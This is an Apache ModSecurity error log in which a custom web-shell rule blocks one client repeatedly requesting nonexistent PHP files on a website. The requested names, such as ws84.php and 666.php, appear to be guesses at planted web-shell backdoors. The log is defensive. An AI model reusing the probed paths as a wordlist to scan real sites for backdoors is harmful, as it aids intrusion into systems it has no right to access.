[Sun Mar 29 02:26:55.027431 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:63657] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "acgdb3VrXSgLxlxLi9A_WgAAAQY"]
[Sun Mar 29 02:26:55.722774 2026] [:error] [pid 39428:tid 39468] [client 20.197.233.108:63602] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "acgdb6XMrozFMIaP8nIE7wAAAEk"]
[Sun Mar 29 02:26:56.346543 2026] [:error] [pid 39428:tid 39479] [client 20.197.233.108:63042] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "acgdcKXMrozFMIaP8nIE9AAAAFQ"]
[Sun Mar 29 02:26:57.020199 2026] [:error] [pid 39428:tid 39478] [client 20.197.233.108:63594] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "acgdcaXMrozFMIaP8nIE-AAAAFM"]
[Sun Mar 29 02:26:57.688249 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:63672] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "acgdcVvLf0RDUqcYq-ZRowAAAAM"]
[Sun Mar 29 02:26:58.327487 2026] [:error] [pid 39428:tid 39476] [client 20.197.233.108:62341] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "acgdcqXMrozFMIaP8nIE-wAAAFE"]
[Sun Mar 29 02:26:59.022009 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:63613] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "acgdc3VrXSgLxlxLi9A_YAAAAQU"]
[Sun Mar 29 02:26:59.694099 2026] [:error] [pid 39427:tid 39452] [client 20.197.233.108:63596] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "acgdc1vLf0RDUqcYq-ZRpwAAABQ"]
[Sun Mar 29 02:27:00.329307 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:63678] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2ksm17n.php"] [unique_id "acgddCkUyvlQod6qQu2nFQAAANA"]
[Sun Mar 29 02:27:00.995978 2026] [:error] [pid 39427:tid 39443] [client 20.197.233.108:63149] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2ksm17n.php"] [unique_id "acgddFvLf0RDUqcYq-ZRrAAAAAs"]
[Sun Mar 29 02:27:01.651934 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:63580] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2ksm17n.php"] [unique_id "acgddXVrXSgLxlxLi9A_YwAAAQI"]
[Sun Mar 29 02:27:02.427495 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:63661] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2ksm17n.php"] [unique_id "acgddnVrXSgLxlxLi9A_ZgAAAQY"]
[Sun Mar 29 02:27:03.048204 2026] [:error] [pid 39514:tid 39540] [client 20.197.233.108:63562] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "acgddykUyvlQod6qQu2nGwAAAM8"]
[Sun Mar 29 02:27:03.736035 2026] [:error] [pid 39514:tid 39527] [client 20.197.233.108:64320] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "acgddykUyvlQod6qQu2nHwAAAMI"]
[Sun Mar 29 02:27:04.380740 2026] [:error] [pid 39427:tid 39440] [client 20.197.233.108:64409] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "acgdeFvLf0RDUqcYq-ZRsgAAAAg"]
[Sun Mar 29 02:27:05.122283 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:63630] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "acgdeXVrXSgLxlxLi9A_agAAAQw"]
[Sun Mar 29 02:27:05.780339 2026] [:error] [pid 39429:tid 39501] [client 20.197.233.108:63668] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "acgdeU8pSj6sqgZaItnnvwAAAI8"]
[Sun Mar 29 02:27:06.447185 2026] [:error] [pid 39427:tid 39436] [client 20.197.233.108:63105] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "acgdelvLf0RDUqcYq-ZRtgAAAAQ"]
[Sun Mar 29 02:27:07.127071 2026] [:error] [pid 39429:tid 39503] [client 20.197.233.108:63651] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "acgde08pSj6sqgZaItnnwwAAAJE"]
[Sun Mar 29 02:27:07.819856 2026] [:error] [pid 39429:tid 39498] [client 20.197.233.108:64396] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "acgde08pSj6sqgZaItnnyAAAAIw"]
[Sun Mar 29 02:27:08.509584 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:64383] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "acgdfE8pSj6sqgZaItnnzQAAAJI"]
[Sun Mar 29 02:27:09.174513 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:63123] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "acgdfSkUyvlQod6qQu2nMwAAAMs"]
[Sun Mar 29 02:27:09.832315 2026] [:error] [pid 39514:tid 39534] [client 20.197.233.108:63063] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "acgdfSkUyvlQod6qQu2nNQAAAMk"]
[Sun Mar 29 02:27:10.540940 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:63131] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "acgdfk8pSj6sqgZaItnn1AAAAIQ"]
[Sun Mar 29 02:27:11.162464 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:64382] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "acgdf3VrXSgLxlxLi9A_dgAAAQ8"]
[Sun Mar 29 02:27:11.877428 2026] [:error] [pid 39514:tid 39537] [client 20.197.233.108:64327] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "acgdfykUyvlQod6qQu2nOAAAAMw"]
[Sun Mar 29 02:27:12.494174 2026] [:error] [pid 39514:tid 39527] [client 20.197.233.108:63644] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "acgdgCkUyvlQod6qQu2nOgAAAMI"]
[Sun Mar 29 02:27:13.114163 2026] [:error] [pid 39427:tid 39440] [client 20.197.233.108:64380] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "acgdgVvLf0RDUqcYq-ZRxAAAAAg"]
[Sun Mar 29 02:27:13.738105 2026] [:error] [pid 39514:tid 39535] [client 20.197.233.108:63106] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "acgdgSkUyvlQod6qQu2nQwAAAMo"]
[Sun Mar 29 02:27:14.372337 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:63573] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "acgdgnVrXSgLxlxLi9A_ewAAARU"]
[Sun Mar 29 02:27:14.994413 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:63564] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "acgdgnVrXSgLxlxLi9A_fwAAAQ0"]
[Sun Mar 29 02:27:15.622405 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:64338] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "acgdg3VrXSgLxlxLi9A_hQAAAQ8"]
[Sun Mar 29 02:27:16.290528 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:64323] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "acgdhFvLf0RDUqcYq-ZRxwAAAAk"]
[Sun Mar 29 02:27:16.950069 2026] [:error] [pid 39427:tid 39444] [client 20.197.233.108:63080] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "acgdhFvLf0RDUqcYq-ZRygAAAAw"]
[Sun Mar 29 02:27:17.606925 2026] [:error] [pid 60346:tid 60352] [client 20.197.233.108:63144] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "acgdhXVrXSgLxlxLi9A_jAAAAQE"]
[Sun Mar 29 02:27:18.247989 2026] [:error] [pid 39429:tid 39501] [client 20.197.233.108:63647] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "acgdhk8pSj6sqgZaItnn2gAAAI8"]
[Sun Mar 29 02:27:18.906438 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:64390] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "acgdhnVrXSgLxlxLi9A_lAAAARQ"]
[Sun Mar 29 02:27:19.529184 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:63112] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "acgdh3VrXSgLxlxLi9A_lwAAAQA"]
[Sun Mar 29 02:27:20.156174 2026] [:error] [pid 39428:tid 39480] [client 20.197.233.108:64428] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "acgdiKXMrozFMIaP8nIFCgAAAFU"]
[Sun Mar 29 02:27:20.790127 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:63141] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzki.php"] [unique_id "acgdiE8pSj6sqgZaItnn3wAAAIQ"]
[Sun Mar 29 02:27:21.483405 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:63139] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "acgdiXVrXSgLxlxLi9A_mgAAARc"]
[Sun Mar 29 02:27:22.159002 2026] [:error] [pid 39428:tid 39481] [client 20.197.233.108:64331] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "acgdiqXMrozFMIaP8nIFDwAAAFY"]
[Sun Mar 29 02:27:22.814317 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:64352] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "acgdiqXMrozFMIaP8nIFFAAAAEU"]
[Sun Mar 29 02:27:23.440671 2026] [:error] [pid 39429:tid 39494] [client 20.197.233.108:63560] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "acgdi08pSj6sqgZaItnn5AAAAIg"]
[Sun Mar 29 02:27:24.077563 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:63563] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "acgdjCkUyvlQod6qQu2nUgAAANA"]
[Sun Mar 29 02:27:24.695761 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:63552] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "acgdjHVrXSgLxlxLi9A_nAAAARE"]
[Sun Mar 29 02:27:25.329843 2026] [:error] [pid 39514:tid 39528] [client 20.197.233.108:63587] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "acgdjSkUyvlQod6qQu2nVgAAAMM"]
[Sun Mar 29 02:27:25.990367 2026] [:error] [pid 39427:tid 39446] [client 20.197.233.108:63071] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "acgdjVvLf0RDUqcYq-ZR1gAAAA4"]
[Sun Mar 29 02:27:26.609918 2026] [:error] [pid 39427:tid 39439] [client 20.197.233.108:63052] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "acgdjlvLf0RDUqcYq-ZR2AAAAAc"]
[Sun Mar 29 02:27:27.230469 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:63605] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "acgdj3VrXSgLxlxLi9A_owAAAQo"]
[Sun Mar 29 02:27:27.865311 2026] [:error] [pid 39428:tid 39469] [client 20.197.233.108:63104] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "acgdj6XMrozFMIaP8nIFHQAAAEo"]
[Sun Mar 29 02:27:28.510544 2026] [:error] [pid 39428:tid 39466] [client 20.197.233.108:63117] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "acgdkKXMrozFMIaP8nIFHwAAAEc"]
[Sun Mar 29 02:27:29.165088 2026] [:error] [pid 39427:tid 39456] [client 20.197.233.108:63669] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acgdkVvLf0RDUqcYq-ZR3gAAABg"]
[Sun Mar 29 02:27:29.795778 2026] [:error] [pid 39427:tid 39434] [client 20.197.233.108:62384] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acgdkVvLf0RDUqcYq-ZR4QAAAAI"]
[Sun Mar 29 02:27:30.430256 2026] [:error] [pid 39514:tid 39534] [client 20.197.233.108:64351] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acgdkikUyvlQod6qQu2nYAAAAMk"]
[Sun Mar 29 02:27:31.075299 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:64354] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acgdkykUyvlQod6qQu2nYwAAAME"]
[Sun Mar 29 02:27:31.730532 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:63146] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "acgdkykUyvlQod6qQu2nZgAAAM0"]
